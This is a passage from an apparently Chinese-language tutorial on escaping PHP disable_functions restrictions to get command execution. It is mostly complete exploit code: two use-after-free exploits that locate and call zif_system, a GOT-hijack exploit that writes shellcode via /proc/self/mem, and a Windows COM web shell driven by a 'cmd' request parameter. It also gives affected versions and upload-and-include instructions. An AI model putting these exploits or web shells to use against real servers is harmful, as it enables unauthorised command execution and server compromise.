; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } public function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = $this ->leak2 ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = $this ->leak2 ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = $this ->leak2 ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = $this ->leak2 ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } public function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = $this ->leak2 ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } public function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = $this ->leak2 ($addr ); $f_name = $this ->leak2 ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return $this ->leak2 ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } public function jsonSerialize ( ) { global $y , $cmd , $spl1 , $fake_tbl_off , $n_alloc ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = new DateInterval ('PT1S' ); $room = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $room [] = new Z (); $_protector = $this ->ptr2str (0 , 78 ); $this ->abc = $this ->ptr2str (0 , 79 ); $p = new DateInterval ('PT1S' ); unset ($y [0 ]); unset ($p ); $protector = ".$_protector " ; $x = new DateInterval ('PT1S' ); $x ->d = 0x2000 ; $x ->h = 0xdeadbeef ; if ($this ->str2ptr ($this ->abc) != 0xdeadbeef ) { die ('UAF failed.' ); } $spl1 = new MySplFixedArray (); $spl2 = new MySplFixedArray (); $class_entry = $this ->str2ptr ($this ->abc, 0x120 ); $handlers = $this ->str2ptr ($this ->abc, 0x128 ); $php_heap = $this ->str2ptr ($this ->abc, 0x1a8 ); $abc_addr = $php_heap - 0x218 ; $fake_obj = $abc_addr ; $this ->write ($this ->abc, 0 , 2 ); $this ->write ($this ->abc, 0x120 , $abc_addr ); for ($i = 0 ; $i < 16 ; $i ++) { $this ->write ($this ->abc, 0x10 + $i * 8 , $this ->leak1 ($class_entry + 0x10 + $i * 8 )); } $fake_tbl_off = 0x70 * 4 - 16 ; $this ->write ($this ->abc, 0x30 , $abc_addr + $fake_tbl_off ); $this ->write ($this ->abc, 0x38 , $abc_addr + $fake_tbl_off ); $this ->write ($this ->abc, $fake_tbl_off , $abc_addr + $fake_tbl_off + 0x10 ); $this ->write ($this ->abc, $fake_tbl_off + 8 , 10 ); $binary_leak = $this ->leak2 ($handlers + 0x10 ); if (!($base = $this ->get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = $this ->parse_elf ($base ))) { die ("Couldn't parse ELF" ); } if (!($basic_funcs = $this ->get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = $this ->get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_bkt_off = 0x70 * 5 - 16 ; $function_data = $this ->str2ptr ($this ->abc, 0x50 ); for ($i = 0 ; $i < 4 ; $i ++) { $this ->write ($this ->abc, $fake_bkt_off + $i * 8 , $this ->leak2 ($function_data + 0x40 * 4 , $i * 8 )); } $fake_bkt_addr = $abc_addr + $fake_bkt_off ; $this ->write ($this ->abc, 0x50 , $fake_bkt_addr ); for ($i = 0 ; $i < 3 ; $i ++) { $this ->write ($this ->abc, 0x58 + $i * 4 , 1 , 4 ); } $function_zval = $this ->str2ptr ($this ->abc, $fake_bkt_off ); for ($i = 0 ; $i < 12 ; $i ++) { $this ->write ($this ->abc, $fake_bkt_off + 0x70 + $i * 8 , $this ->leak2 ($function_zval , $i * 8 )); } $this ->write ($this ->abc, $fake_bkt_off + 0x70 + 0x30 , $zif_system ); $this ->write ($this ->abc, $fake_bkt_off , $fake_bkt_addr + 0x70 ); $spl1 ->offsetGet ($cmd ); exit (); } } $y = [new Z ()];json_encode ([&$y ]);
保存为php上传到/var/tmp 文件包含即可
Backtrace UAF 使用条件:
Linux 操作系统
PHP7.0 - all versions to date
PHP7.1 - all versions to date
PHP7.2 - all versions to date
PHP7.3 < 7.3.15 (released 20 Feb 2020)
PHP7.4 < 7.4.3 (released 20 Feb 2020)
攻击exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 <?php pwn ("uname -a" );function pwn ($cmd ) { global $abc , $helper , $backtrace ; class Vuln { public $a ; public function __destruct ( ) { global $backtrace ; unset ($this ->a); $backtrace = (new Exception )->getTrace (); if (!isset ($backtrace [1 ]['args' ])) { $backtrace = debug_backtrace (); } } } class Helper { public $a , $b , $c , $d ; } function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= chr ($ptr & 0xff ); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = chr ($v & 0xff ); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle (str_repeat ('A' , 79 )); $vuln = new Vuln (); $vuln ->a = $arg ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_shuffle (str_repeat ('A' , 79 )); trigger_uaf ('x' ); $abc = $backtrace [1 ]['args' ][0 ]; $helper = new Helper ; $helper ->b = function ($x ) { }; if (strlen ($abc ) == 79 || strlen ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); }
antsword也有插件 labs可以复现这个漏洞
concat operation UAF 劫持got表 使用条件:
nginx-1.18下:php5.5,php5.4,php5.3,php5.2是可以的
php5.6及以上会出现 fopen(/proc/self/mem): failed to open stream: Permission denied
apache2.4下:php5.5,php5.4,php5.3是可以的
php5.6及以上会出现 fopen(/proc/self/mem): failed to open stream: Permission denied
概念以及攻击原理:
参考https://cloud.tencent.com/developer/article/2318123
1 2 3 4 5 6 7 8 在动态链接的情况下,程序加载的时候并不会把链接库中所有函数都一起加载进来,而是程序执行的时候按需加载,如果有函数并没有被调用,那么它就不会在程序生命中被加载进来。简单说就是,函数第一次用到的时候才会把在自己的真实地址给写到相应的got表里,没用到就不绑定了。这就是延迟绑定,由于这个机制,第一次调用函数的时候,got表中“存放”的地址不是函数的真实地址,而是plt 表中的第二条汇编指令,接下来会进行一系列操作装载相应的动态链接库,将函数的真实地址写在got表中。以后调用该函数时,got表保存着其真实地址。 这里劫持got表就是修改函数的got表的地址的内容为我们的shellcode的地址 step 1:通过php脚本解析/proc/self/exe得到open函数的got表的地址。 step 2:通过读取/proc/self/maps得到程序基地址,栈地址,与libc基地址。 step 3:通过php脚本解析libc得到system函数的地址,结合libc基地址(两者相加)可以得到system函数的实际地址。 step 4:通过读写/proc/self/mem实现修改open函数的got表的地址的内容为我们的shellcode的地址。向我们指定的shellcode的地址写入我们的shellcode。
exp(命令无回显,如果没有权限读写/proc/self/mem ,自然也就无法利用了)
step1:通过php脚本解析/proc/self/exe得到open函数的got表的地址
step 2:通过读取/proc/self/maps得到程序基地址,栈地址,与libc基地址。
step 3:通过php脚本解析libc得到system函数的地址,结合libc基地址(两者相加)可以得到system函数的实际地址。
step 4:通过读写/proc/self/mem实现修改open函数的got表的地址的内容为我们的shellcode的地址。向我们指定的shellcode的地址写入我们的shellcode。
总而言之就是修改got表的地址,修改其为我们shellcode的地址。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 <?php define ('SHT_NULL' ,0 );define ('SHT_PROGBITS' ,1 );define ('SHT_SYMTAB' ,2 );define ('SHT_STRTAB' ,3 );define ('SHT_RELA' ,4 );define ('SHT_HASH' ,5 );define ('SHT_DYNAMIC' ,6 );define ('SHT_NOTE' ,7 );define ('SHT_NOBITS' ,8 );define ('SHT_REL' ,9 );define ('SHT_SHLIB' ,10 );define ('SHT_DNYSYM' ,11 );define ('SHT_INIT_ARRAY' ,14 );define ('SHT_FINI_ARRAY' ,15 );define ('SHT_GNU_HASH' ,0x6ffffff6 );define ('SHT_GNU_versym' ,0x6fffffff );define ('SHT_GNU_verneed' ,0x6ffffffe );class elf { private $elf_bin ; private $strtab_section =array (); private $rel_plt_section =array (); private $dynsym_section =array (); public $shared_librarys =array (); public $rel_plts =array (); public function getElfBin ( ) { return $this ->elf_bin; } public function setElfBin ($elf_bin ) { $this ->elf_bin = fopen ($elf_bin ,"rb" ); } public function unp ($value ) { return hexdec (bin2hex (strrev ($value ))); } public function get ($start ,$len ) { fseek ($this ->elf_bin,$start ); $data =fread ($this ->elf_bin,$len ); rewind ($this ->elf_bin); return $this ->unp ($data ); } public function get_section ($elf_bin ="" ) { if ($elf_bin ){ $this ->setElfBin ($elf_bin ); } $this ->elf_shoff=$this ->get (0x28 ,8 ); $this ->elf_shentsize=$this ->get (0x3a ,2 ); $this ->elf_shnum=$this ->get (0x3c ,2 ); $this ->elf_shstrndx=$this ->get (0x3e ,2 ); for ($i =0 ;$i <$this ->elf_shnum;$i +=1 ){ $sh_type =$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+4 ,4 ); switch ($sh_type ){ case SHT_STRTAB: $this ->strtab_section[$i ]= array ( 'strtab_offset' =>$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+24 ,8 ), 'strtab_size' =>$this ->strtab_size=$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+32 ,8 ) ); break ; case SHT_RELA: $this ->rel_plt_section[$i ]= array ( 'rel_plt_offset' =>$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+24 ,8 ), 'rel_plt_size' =>$this ->strtab_size=$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+32 ,8 ), 'rel_plt_entsize' =>$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+56 ,8 ) ); break ; case SHT_DNYSYM: $this ->dynsym_section[$i ]= array ( 'dynsym_offset' =>$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+24 ,8 ), 'dynsym_size' =>$this ->strtab_size=$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+32 ,8 ), 'dynsym_entsize' =>$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+56 ,8 ) ); break ; case SHT_NULL: case SHT_PROGBITS: case SHT_DYNAMIC: case SHT_SYMTAB: case SHT_NOBITS: case SHT_NOTE: case SHT_FINI_ARRAY: case SHT_INIT_ARRAY: case SHT_GNU_versym: case SHT_GNU_HASH: break ; default : } } } public function get_reloc ( ) { $rel_plts =array (); $dynsym_section = reset ($this ->dynsym_section); $strtab_section =reset ($this ->strtab_section); foreach ($this ->rel_plt_section as $rel_plt ){ for ($i =$rel_plt ['rel_plt_offset' ];$i <$rel_plt ['rel_plt_offset' ]+$rel_plt ['rel_plt_size' ];$i +=$rel_plt ['rel_plt_entsize' ]) { $rel_offset =$this ->get ($i ,8 ); $rel_info =$this ->get ($i +8 ,8 )>>32 ; $fun_name_offset =$this ->get ($dynsym_section ['dynsym_offset' ]+$rel_info *$dynsym_section ['dynsym_entsize' ],4 ); $fun_name_offset =$strtab_section ['strtab_offset' ]+$fun_name_offset -1 ; $fun_name ='' ; while ($this ->get (++$fun_name_offset ,1 )!="" ){ $fun_name .=chr ($this ->get ($fun_name_offset ,1 )); } $rel_plts [$fun_name ]=$rel_offset ; } } $this ->rel_plts=$rel_plts ; } public function get_shared_library ($elf_bin ="" ) { if ($elf_bin ){ $this ->setElfBin ($elf_bin ); } $shared_librarys =array (); $dynsym_section =reset ($this ->dynsym_section); $strtab_section =reset ($this ->strtab_section); for ($i =$dynsym_section ['dynsym_offset' ]+$dynsym_section ['dynsym_entsize' ];$i <$dynsym_section ['dynsym_offset' ]+$dynsym_section ['dynsym_size' ];$i +=$dynsym_section ['dynsym_entsize' ]) { $shared_library_offset =$this ->get ($i +8 ,8 ); $fun_name_offset =$this ->get ($i ,4 ); $fun_name_offset =$fun_name_offset +$strtab_section ['strtab_offset' ]-1 ; $fun_name ='' ; while ($this ->get (++$fun_name_offset ,1 )!="" ){ $fun_name .=chr ($this ->get ($fun_name_offset ,1 )); } $shared_librarys [$fun_name ]=$shared_library_offset ; } $this ->shared_librarys=$shared_librarys ; } public function close ( ) { fclose ($this ->elf_bin); } public function __destruct ( ) { $this ->close (); } public function packlli ($value ) { $higher = ($value & 0xffffffff00000000 ) >> 32 ; $lower = $value & 0x00000000ffffffff ; return pack ('V2' , $lower , $higher ); } } $test =new elf ();$test ->get_section ('/proc/self/exe' );$test ->get_reloc (); $open_php =$test ->rel_plts['open' ];$maps = file_get_contents ('/proc/self/maps' );preg_match ('/(\w+)-(\w+)\s+.+\[stack]/' , $maps , $stack );preg_match ('/(\w+)-(\w+).*?libc-/' ,$maps ,$libcgain );$libc_base = "0x" .$libcgain [1 ];echo "Libc base: " .$libc_base ."\n" ;echo "Stack location: " .$stack [1 ]."\n" ;$array_tmp = explode ('-' ,$maps );$pie_base = hexdec ("0x" .$array_tmp [0 ]);echo "PIE base: " .$pie_base ."\n" ;$test2 =new elf ();$test2 ->get_section ('/usr/lib64/libc-2.17.so' );$test2 ->get_reloc ();$test2 ->get_shared_library (); $sys = $test2 ->shared_librarys['system' ];$sys_addr = $sys + hexdec ($libc_base );echo "system addr:" .$sys_addr ."\n" ;$mem = fopen ('/proc/self/mem' ,'wb' );$shellcode_loc = $pie_base + 0x2333 ;fseek ($mem ,$open_php );fwrite ($mem ,$test ->packlli ($shellcode_loc ));$command =$_GET ['cmd' ]; $stack =hexdec ("0x" .$stack [1 ]);fseek ($mem , $stack );fwrite ($mem , "{$command} \x00" );$cmd = $stack ;$shellcode = "H\xbf" .$test ->packlli ($cmd )."H\xb8" .$test ->packlli ($sys_addr )."P\xc3" ;fseek ($mem ,$shellcode_loc );fwrite ($mem ,$shellcode );readfile ('zxhy' );exit ();
Windows 组件 COM 使用条件:
开启com.allow_dcom
创建一个COM对象,通过调用COM对象的exec
替我们执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $wsh = isset ($_GET ['wsh' ]) ? $_GET ['wsh' ] : 'wscript' ;if ($wsh == 'wscript' ) { $command = $_GET ['cmd' ]; $wshit = new COM ('WScript.shell' ) or die ("Create Wscript.Shell Failed!" ); $exec = $wshit ->exec ("cmd /c" .$command ); $stdout = $exec ->StdOut (); $stroutput = $stdout ->ReadAll (); echo $stroutput ; } elseif ($wsh == 'application' ) { $command = $_GET ['cmd' ]; $wshit = new COM ("Shell.Application" ) or die ("Shell.Application Failed!" ); $exec = $wshit ->ShellExecute ("cmd" ,"/c " .$command ); } else { echo (0 ); } ?>
上传访问执行命令即可